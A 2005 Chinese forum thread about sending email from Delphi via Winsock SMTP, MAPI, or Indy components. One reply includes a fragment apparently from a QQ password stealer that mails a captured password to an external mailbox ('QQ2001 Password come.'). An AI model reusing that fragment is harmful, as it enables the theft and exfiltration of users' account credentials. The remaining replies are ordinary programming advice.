社区
Windows SDK/API
帖子详情
有没有关于发邮件的API函数?请赐教……
Love_birds
2005-04-11 11:22:43
这是个老生常谈的话题!
现在想用DELPHI调用系统API做一个收发邮件的小东西!
谁知道这要用到哪些系统API?
如果可能给我点更详细的资料就更好了!!
谢谢!
本来想为这个话题多给点分,但是看了,最多只能给100分!
如果不够,以后有机会再补!
...全文
336
12
打赏
收藏
有没有关于发邮件的API函数?请赐教……
这是个老生常谈的话题! 现在想用DELPHI调用系统API做一个收发邮件的小东西! 谁知道这要用到哪些系统API? 如果可能给我点更详细的资料就更好了!! 谢谢! 本来想为这个话题多给点分,但是看了,最多只能给100分! 如果不够,以后有机会再补!
复制链接
扫一扫
分享
转发到动态
举报
写回复
配置赞助广告
用AI写文章
12 条
回复
切换为时间正序
请发表友善的回复…
发表回复
打赏红包
Love_birds
2005-04-12
打赏
举报
回复
不错!我用API就是想自己再进行一次封装成自己的类!
现在结帐:
gogogo
2005-04-11
打赏
举报
回复
简单起见,简易楼主用indy控件做,我刚做过,感觉还可以,特别是indy10.0比较好用,不过好像也有一些小bug,例子在delphi\demos\indy,不过可能要到网上去下载
chijingde
2005-04-11
打赏
举报
回复
**********************
下面是利用WinSock发送电子邮件的例子:
whaoye:
program SendMail;
uses
winsock;
{$R *.RES}
procedure sendmails;stdcall;
var
s:tsocket;
buffer:array[0..255] of char;
errorcode:integer;
mailserver:tsockaddr;
begin
mailserver.sin_family:=af_inet;
mailserver.sin_port:=htons(25);
mailserver.sin_addr.S_addr:=inet_addr('202.104.32.230');
s:=socket(af_inet,sock_stream,0);
errorcode:=connect(s,mailserver,sizeof(mailserver));
if errorcode<>invalid_socket then
begin
buffer:='HELO'+#13#10;
send(s,buffer,length('HELO'+#13#10),0);
buffer:='MAIL FROM: whaoye@21cn.com'+#13#10;
send(s,buffer,length('MAIL FROM: whaoye@21cn.com'+#13#10),0);
buffer:='RCPT TO:administrator@godeye'+#13#10;
send(s,buffer,length('RCPT TO:administrator@godeye'+#13#10),0);
buffer:='DATA'+#13#10;
send(s,buffer,length('DATA'+#13#10),0);
buffer:='FROM:whaoye@21cn.com'+#13#10;
send(s,buffer,length('FROM:whaoye@21cn.com'+#13#10),0);
buffer:='TO:administrator@godeye'+#13#10;
send(s,buffer,length('TO:administrator@21cn.com'+#13#10),0);
buffer:='SUBJECT:just a test!'+#13#10;
send(s,buffer,length('SUBJECT:just a test!'+#13#10),0);
buffer:='I LOVE THIS GAME!'+#13#10;
send(s,buffer,length('I LOVE THIS GAME!'+#13#10),0);
buffer:='.'+#13#10;
send(s,buffer,length('.'+#13#10),0);
buffer:='QUIT'+#13#10;
send(s,buffer,length('QUIT'+#13#10),0);
closesocket(s);
end;
end;
var
wsa:twsadata;
begin
wsastartup($0202,wsa);
sendmails;
wsacleanup;
end.
*******************
//下面是个发信的子过程,取得密码后发回getoicq@21cn.com邮箱
procedure MailSend;
begin
err:=recv(FSocket,sbuf,400,0);
s1:=strpas(sbuf);
inc(step);
case step of
1:s1:='HELO smtp.hacker.com'+CRLF;
2:s1:='MAIL FROM: <getoicq@21cn.com>'+CRLF;
3:s1:='RCPT TO: <'+email+'>'+CRLF;
4:s1:='DATA'+CRLF;
5:s1:='From:"Oicq Hack"<www.hacker.com>'+CRLF
+'To:"getoicq"<www.password.com>'+CRLF
+'Subject:QQ2001 Password come.'+CRLF
+CRLF
+newpass+CRLF
+'.'+CRLF;
6:s1:='QUIT'+CRLF;
else
step:=0;
end;
strcopy(sbuf,pchar(s1));
err:=send(FSocket,sbuf,strlen(sbuf),MSG_DONTROUTE);
end;
//发信主过程
procedure SendPass;
begin
err:=WSAStartup($0101,WSAData);
FSocket := socket(PF_INET, SOCK_STREAM,IPPROTO_IP);
//利用 smtp.21cn.com 进行发信
fhost:='202.104.32.230';
fport:=25;
SockAddrIn.sin_addr.s_addr:=inet_addr(PChar(FHost));
SockAddrIn.sin_family := PF_INET;
SockAddrIn.sin_port :=htons(Fport);
err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn));
step:=0;
repeat
MailSend;
until step=0;
err:=closesocket(FSocket);
err:=WSACleanup;
end;
chijingde
2005-04-11
打赏
举报
回复
如果想用纯API实现的话,猛料上有一篇文章,贴给你吧
纯api的发送邮件程序
function SendMail(const Subject, Body, FileName,
SenderName, SenderEMail,
RecepientName, RecepientEMail: string): Integer;
var
Message: TMapiMessage;
lpSender, lpRecepient: TMapiRecipDesc;
FileAttach: TMapiFileDesc;
SM: TFNMapiSendMail;
MAPIModule: HModule;
begin
FillChar(Message, SizeOf(Message), 0);
with Message do
begin
if (Subject <> '') then lpszSubject := PChar(Subject);
if (Body <> '') then lpszNoteText := PChar(Body);
if (SenderEmail <> '') then
begin
lpSender.ulRecipClass := MAPI_ORIG;
if (SenderName = '') then
lpSender.lpszName := PChar(SenderEMail)
else
lpSender.lpszName := PChar(SenderName);
lpSender.lpszAddress := PChar(SenderEmail);
lpSender.ulReserved := 0;
lpSender.ulEIDSize := 0;
lpSender.lpEntryID := nil;
lpOriginator := @lpSender;
end;
if (RecepientEmail <> '') then
begin
lpRecepient.ulRecipClass := MAPI_TO;
if (RecepientName = '') then
lpRecepient.lpszName := PChar(RecepientEMail)
else
lpRecepient.lpszName := PChar(RecepientName);
lpRecepient.lpszAddress := PChar(RecepientEmail);
lpRecepient.ulReserved := 0;
lpRecepient.ulEIDSize := 0;
lpRecepient.lpEntryID := nil;
nRecipCount := 1;
lpRecips := @lpRecepient;
end
else
lpRecips := nil;
if (FileName = '') then
begin
nFileCount := 0;
lpFiles := nil;
end
else
begin
FillChar(FileAttach, SizeOf(FileAttach), 0);
FileAttach.nPosition := Cardinal($FFFFFFFF);
FileAttach.lpszPathName := PChar(FileName);
nFileCount := 1;
lpFiles := @FileAttach;
end;
end;
MAPIModule := LoadLibrary(PChar(MAPIDLL));
if MAPIModule = 0 then
Result := -1
else
try
@SM := GetProcAddress(MAPIModule, 'MAPISendMail');
if @SM <> nil then
begin
Result := SM(0, Application.Handle, Message, MAPI_DIALOG or
MAPI_LOGON_UI, 0);
end
else
Result := 1;
finally
FreeLibrary(MAPIModule);
end;
if Result <> 0 then
MessageDlg('Error sending mail (' + IntToStr(Result) + ').', mtError,
[mbOK], 0);
end;
chijingde
2005-04-11
打赏
举报
回复
如果底层不想实现的话
下载个JMail用吧
或者装个Indy控件,自己写点代码就实现了
具体用法自己搜索,光CSDN就一大堆
herman~~
2005-04-11
打赏
举报
回复
帮顶
ehom
2005-04-11
打赏
举报
回复
我的意思是说,要用API也要按照类似的方法封装。。。
chijingde
2005-04-11
打赏
举报
回复
我也同意以上几位
强烈反对自己写底层,太不划算了(当然如果你的目的是学习就当我没说)
其实调用API跟调用人家已经提供好的接口有什么不同?
为啥非要自己写,API也是些接口,总不会也要自己实现一边吧?
俗话说得好,要站在巨人的肩膀上,嘿嘿
个人感觉INDY已经作的很好了
只要将来这个协议不发生改变,他的封装就不会出什么大错
自己用API写的话……
呵呵,我是不敢夸这个海口
gogogo
2005-04-11
打赏
举报
回复
赞同ehom(?!) ,其实SMTP,POP3协议倒是不很复杂,关键是里面的各种编码解码以及多种part,你自己搞,估计就是知道怎么写也要很久调试才能“基本”过关吧
ehom
2005-04-11
打赏
举报
回复
什么叫直接调API,如果是指上面那个WinSock发送电子邮件那种。。。那还是算了吧
这只是个API谁来封装的问题,在实际的软件开发中,这种示例根本没有利用价值,只是示例而已。
如果你真像写示例一样去写开发软件,维护性,扩展性等等都很差,甚至很容易出问题,出了问题也不好改。
关注软件的核心架构,别跟系统API扯上关系才是正确做法。
Love_birds
2005-04-11
打赏
举报
回复
我在内容中说得很清楚,我要的是纯API发送邮件
至于用VCL控件发送邮件的东西很简单,我也用过,现在我想直接用API来开发
因为这样对我来说,做起来更方便,也更灵活!
非常感谢chijingde(AD) 的贴子!
我再等等,还有没有别人的例子,下班前结贴!!
vpoor
2005-04-11
打赏
举报
回复
搜索 Simple Mail Transfer Protocol
c#调用C++写的dll导出类,如何实现
网上看了一些都是调用c++写
函数
能不能实现c#使用c++写的类各位高手
请
赐教
解决方案 » 类的有一个成员
函数
,是返回这个类的指针,那么在C#里面就是一个INTPTR,它是什么你不用管。然后C++文件里面再定义几个
函数
,专门用于处理这个类的对像的操作,参数就是类对像的指针。这样你在C#层调用C++的这个
函数
,并将准备好的类对像的指针传回去就好了。这种方法,安全,方便,而且……你那些查到的使用C
c#调用C++写的dll导出类
网上看了一些都是调用c++写
函数
能不能实现c#使用c++写的类各位高手
请
赐教
解决方案 » 类的有一个成员
函数
,是返回这个类的指针,那么在C#里面就是一个INTPTR,它是什么你不用管。然后C++文件里面再定义几个
函数
,专门用于处理这个类的对像的操作,参数就是类对像的指针。这样你在C#层调用C++的这个
函数
,并将准备好的类对像的指针传回去就好了。这种方法,安全,方便,而且……你那些查到的使用C
小白前端也能玩转语音交互:网络语音
API
入门指南(附实战避坑技
我第一次听到“网络语音
API
”的时候,脑子里立刻闪过“AI大模型、GPU、训练、调参”这一串烧钱关键词,差点原地劝退。结果后来才发现,这玩意儿其实就是浏览器里几行破代码——你让它听,它就听;你让它说,它就说,跟调教一只电子鹦鹉差不多。今天咱们就把这只鹦鹉牵出来,手把手教它说人话,顺便把笼子里那些屎尿屁(兼容性问题、权限问题、识别翻车现场)一并清理干净。想象你在烧烤摊撸串,老板娘听你喊“再来十串羊肉”,她“听”到后转身就烤——网络语音
API
就是老板娘的耳朵和嘴。 浏览器负责“耳朵”(语音识别,ASR),服务器
惰性
函数
实战:前端老手都在用的性能优化技巧(附防重复检测方案)
希望您在这里可以感受到一份轻松愉快的氛围,不仅可以获得有趣的内容和知识,也可以畅所欲言、分享您的想法和见解。“既然环境不会变,我干嘛不第一次就把结果存起来,然后把
函数
换成一个直接 return 结果的极简版?学术点说,就是利用「
函数
重写」+「闭包」让同一名称的
函数
在运行时动态升级,后续调用直接走捷径,一个做过前端开发的产品经理,经历过睿智产品的折磨导致脱发之后,励志要翻身农奴把歌唱,更惨的是,同一
函数
在十几个业务文件里被复制粘贴,改一次要改十处。那一刻,我深刻体会到“勤奋的
函数
”有多讨厌。
函数
式编程入门:JavaScript开发者7天写出更干净、可维护的代码
如果把代码比作厨房,命令式就是“边炒菜边尝咸淡”,
函数
式则是“把菜谱写成数学公式”——谁都能照着公式炒出同一盘菜,还不用担心咸了倒回去加水。来个真实案例:后端返回一团乱麻的 SKU 列表,前端需要提取“可售”“白名单”“价格低于 100”的 ID,再转成逗号分隔字符串。正因为闭包能“背”住那些中间变量,我们才能把“配置”与“数据”分离,写出“一次配置,多次调用”的优雅
API
。后端吐出“千奇百怪”字段名,前端需要“翻译”成 UI 模型,纯
函数
+ 管道,写起来像“诗歌”有人吐槽“性能会不会爆炸。
Windows SDK/API
1,184
社区成员
22,326
社区内容
发帖
与我相关
我的任务
Windows SDK/API
Delphi Windows SDK/API
复制链接
扫一扫
分享
社区描述
Delphi Windows SDK/API
社区管理员
加入社区
获取链接或二维码
近7日
近30日
至今
加载中
查看更多榜单
社区公告
暂无公告
试试用AI创作助手写篇文章吧
+ 用AI写文章